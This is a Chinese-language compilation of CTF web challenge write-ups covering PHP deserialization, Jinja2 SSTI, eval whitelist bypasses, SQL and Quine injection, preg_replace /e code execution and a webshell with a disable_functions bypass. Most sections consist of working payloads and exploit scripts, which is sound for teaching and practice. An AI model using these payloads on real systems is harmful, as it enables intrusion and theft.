[GDOUCTF 2023]反方向的钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

老规矩,像构造pop链,先找到终点

明显是school类中的IPO方法:

1
echo new $_POST['a']($_POST['b']);

这里应该就要用到php的原生类了,而提示又有flag.php,所以就使用原生类SplFileObject读取文件

而IPO又需要在school中的wakeup中调用:

1
2
3
4
5
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}

而调用IPO就需要hahaha符合条件

hahaha是classroom的一个方法,所以这里要实例化classroom赋给dapartment

1
2
3
4
5
6
7
8
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}

hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量

有这两个变量的只有teacher类,所以要实例化该类并赋值给leader

最后就是在teacher类中赋值name和rank即可

所以就构造exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

$a=new school(new classroom("one class",new teacher("ing","department")),"ong");

echo urlencode(base64_encode(serialize($a)));
?>

可以得到传给d的参数应该为:

1
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

而对于给a和b传的值为(对于a使用php原生类,而b使用伪协议进行读取):

1
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

直接base64解码就拿到flag了。

[NCTF 2018]flask真香

题目什么都没有,F12也什么都没发现

到处乱点,在点击右下方的小点之后跳转到下一个页面

标签提示是jinja2的SSTI,我们进行测试

确实是存在的

接下来试试有没有过滤什么

url空了,经过测试,发现过滤了下列字符:

1
class  mro  subclasses  builtins  eval  import  open  os

使用字符串拼接的方法来绕过

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()}}

找到<class ‘os._wrap_close’>,直接用ctrl+F找每个元素都有的字符 >

成功找到

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287]}}

构造payload:

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

下一步就是cat flag

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}

[CISCN 2019初赛]Love Math

先看题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

可以看到,我们只能使用白名单里的函数,接下来对我们要用到的函数做一个简单的解释:

base_convert()函数

hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

dechex() 函数

dechex() 函数把十进制数转换为十六进制数。

我们的目标命令是:

1
?c=system("cat /flag")

但是显然我们需要绕过白名单和黑名单,就不能出现引号和system函数,引号其实可以省略,没有引号命令也能执行,这里我们采用的方法是用变量保存函数和参数,如:

1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

我们使用白名单里的函数进行替换:

1
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

但是问题又来了,_GET不是白名单里的变量名,[]也被黑名单过滤

  1. []可以用{}来代替
  2. _GET就要用到上面的hex2bin() 函数转化

_GET=hex2bin(5f 47 45 54)

但是hex2bin也不是白名单里的函数,这里就用到白名单里的base_convert函数,用base_convert()函数将10进制数转化为36进制的hex2bin

hex2bin=base_convert(37907361743,10,36)

5f 47 45 54也不能直接填,因为会被preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); 这句话当作函数名放进白名单里检测,所以5f 47 45 54也需要经过进制转化
dechex() 函数把十进制数转换为十六进制数。

5f474554=dechex(1598506324)

1
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))

将get存进一个变量里:

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));

最终payload为:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[NSSRound#8 Basic]MyDoor

题目一进去是空白的,f12没什么反应,我们尝试访问index.php。也失败了,这里就尝试用伪协议来读取index.php

1
?file=php://filter/read=convert.base64-encode/resource=index.php

得到后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];

if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}

我们尝试传参发现没有反应,这里涉及到了php解析变量的一个特性,在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候,php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、+、点、[ 转换为下划线。但是用一个特性是可以绕过的,就是当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了。

也就是说如果不使用[的话,N_S.S就会被解析为N_S_S,所以正确的变量传参就是:

1
?N[S.S=phpinfo();

![](../../../../../web学习笔记/题集/暑假题目/暑假题目.assets/[NSSRound%238 Basic]MyDoor解题截图.png)

直接ctrl+F找到flag的值

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式,就是POST方式了,并且告诉了我们参数是nss,尝试传参

很明显是假的flag

经判断,闭合方式为’,过滤了union,空格,information

我们开始爆库名:

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23

爆表名:

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23

直接爆字段(一开始猜测flag在flll444g里面,但是很快发现不对):

1
nss=2'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_db.NSS_tb%23

成功拿到flag。

[BJDCTF 2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

第一步很简单,对于text变量,我们使用data协议直接写入一个新文件,而file变量直接利用伪协议进行读取

1
?text=data://ta/a,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

得到题目next.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里涉及到php的正则逆向引用与子模式分析

php正则逆向引用与子模式分析 - MasonZhang - 博客园 (cnblogs.com)

payload:

1
/?text=data://text/pain,I have a dream&file=next.php&\S*=${phpinfo()}

ctrl+F找到flag:

[鹏城杯 2022]简单的php

先看源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);

}

?>

明显是无参RCE,

发现可以使用取反绕过:

这里说说无参RCE的常用函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、getallheaders()
2、get_defined_vars()
3、session_id()

配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

然后就掏出我们的祖传脚本,目标命令是:

1
system(current(getallheaders()));

为什么是这个呢,这个命令就是取所有的请求头存为数组,并取第一个的值进行命令执行,所以我们就需要在请求包的第一行添加一个值为我们想要执行的命令的请求头。

分别用脚本跑出

1
2
3
system:(~%8C%86%8C%8B%9A%92)
current:(~%9C%8A%8D%8D%9A%91%8B)
getallheaders:(~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)

将他们拼接起来即可,还有就是要用[!%FF]分开

最终payload为:

1
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())); 

成功拿到flag。

[NISACTF 2022]hardsql

这道题其实就是Quine注入,关于payload的构造,参考这位大神的文章:

[(7条消息) Quine-第五空间 2021]yet_another_mysql_injection_qq_74426248的博客-CSDN博客

题目一进去是一个登录界面,hint里面有用户,但我们需要爆破出密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url='http://1.14.71.254:28279/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag=''
for j in range(50):
for i in dict:
data={
"username":"bilala",
"passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
}
res=requests.post(url,data=data)
if "nothing found" not in res.text:
flag=flag+i
print(flag)
break

爆破出密码为b2f2d15b3ae082ca29697d8dcd420fd7,我们进行登录,得到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}

?>

重点是这一段:

1
2
3
4
5
6
7
8
9
10
11
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}

数据库中的passwd和输入的password一样,然后 password不等于b2f2d15b3ae082ca29697d8dcd420fd7才可以 die flag

这里拿到flag的条件就是密码不为b2f2d15b3ae082ca29697d8dcd420fd7且能登陆成功

题中还过滤了char,用chr或者直接0x代替即可。

0x、char、chr三个等价

0x22, 双引号 char (34) ==

0x27 单引号 char (39)

相信有人纳闷,这道题为什么是%而不是. 因为 0x25是%的16进制改为

0x2e . 也是可以的
所以构造payload:

1
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

[GKCTF 2020]CheckIN

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

可以看到我们传入的东西是会被base64解码一遍的,所以我们先尝试传参phpinfo();

1
Ginkgo=cGhwaW5mbygpOw==

成功执行了phpinfo(),但是我们发现有被禁用的太多了

那我们尝试进行上传一句话木马

eval($_POST[a]);编码之后是ZXZhbCgkX1BPU1RbYV0pOw==

传参之后用蚁剑进行连接,连接成功之后进入查找

在根目录下发现了flag打开是空的,那我们看看readflag吧

无法读取,但我们猜想是通过readflag来读取flag文件

上网看看,通过phpinfo()知道php版本为7.3,这个版本有一个漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
给出了exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
下载后进行修改,改为执行readflag

现在攻击文件准备好了,该上传到哪里呢:

我们发现tmp文件夹的权限是777,什么都可以做,就把攻击的php上传到那里去吧

然后通过之前上传的一句话来包含攻击文件

成功拿到flag。